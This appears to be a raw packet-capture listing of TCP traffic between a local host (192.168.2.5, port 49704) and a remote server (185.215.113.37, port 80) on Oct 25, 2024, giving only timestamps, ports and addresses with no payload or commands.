Oct 25, 2024 07:28:21.371661901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371687889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371699095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371725082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371735096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371761084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371773005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371794939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371807098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371830940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371864080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371876955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371897936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371907949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371931076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371951103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371968031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.371970892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.371999025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372011900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372033119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372045040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372067928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372075081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372100115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372111082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372133970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372143984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372168064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372178078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372201920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372212887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372235060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372246027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372270107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372279882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372303963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372315884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372340918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372370005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372374058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372380018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372407913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372419119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372437954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372452021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372472048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372482061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372505903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372515917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372539043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372549057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372580051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372586966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372612953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372621059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372647047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372658014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372680902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372694016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372716904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372721910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372750998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372762918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372786999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372792006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372821093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372831106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372855902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372874975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372889996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372900009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372927904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372935057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372961998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.372972965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.372997999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.373003006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.373033047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.373042107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.373075962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.519342899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.524944067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798710108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798732996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798758030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798774958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798799038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798815966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798839092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798850060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.798855066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798871040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798873901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.798888922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798903942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798919916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798934937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798949003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798952103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.798952103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.798973083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798975945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.798990011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.798996925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799005032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799017906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799031019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799048901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799051046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799066067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799073935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799082994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799094915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799118042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799123049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799148083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799165010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799170017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799187899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799191952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799205065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799210072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799226999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799228907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799246073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799247026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799261093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799273014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799283028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799285889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799302101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799303055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799328089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799335003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799345970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799345970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799370050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799371004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799381018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799386978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799403906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799411058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799420118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799428940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799437046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799438953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799449921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799463034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799472094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799473047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799493074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799499035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799515009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799524069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799531937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799547911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799562931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799562931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799580097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799585104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799595118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799602985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799621105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799622059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799629927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799643993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799657106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799659014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799675941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799683094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799700975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799700975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799715996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799721956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799740076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799743891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799751997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799757004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799772024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799778938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799789906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799803019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799803972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799818039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799822092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799834967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799835920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799849987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799854040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799866915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799879074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799882889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799899101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799906015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799913883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799916983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799937963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799947023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799953938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799963951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799969912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799984932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.799985886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.799994946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.800004005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.800017118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.800019979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.800034046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.800038099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.800050974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.800067902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.800084114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.915688038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.915932894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.915946960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.915972948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.915996075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916012049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916027069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916050911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916060925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916069031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916083097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916100979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916109085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916115999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916121006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916130066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916136980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916143894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916148901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916158915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916168928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916174889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916182041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916187048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916188002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916207075 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916214943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916222095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916229010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916234016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916239977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916250944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916258097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916273117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916292906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916301012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916309118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916316986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916323900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916332006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916340113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916353941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916362047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916368961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916377068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916388035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916388988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916404009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916419983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916426897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916435003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916443110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916448116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916462898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916470051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916487932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916491032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916502953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916512966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916528940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916529894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916543961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916558981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916568041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916578054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916585922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916589975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916601896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916616917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916616917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916632891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916636944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916649103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916659117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916678905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916682959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916697025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916722059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916735888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916742086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916750908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916764021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916779041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916795015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916805983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916821957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916822910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916829109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916851044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916858912 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916874886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916887999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916891098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916906118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916908026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916922092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916934013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916960955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916975021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.916989088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.916990042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917006969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917015076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917022943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917028904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917040110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917049885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917056084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917068005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917076111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917081118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917090893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917104006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917108059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917117119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917123079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917136908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917140961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:21.917150974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:21.917155027 CEST	80	49704	185.215.113.37	192.168.2.5
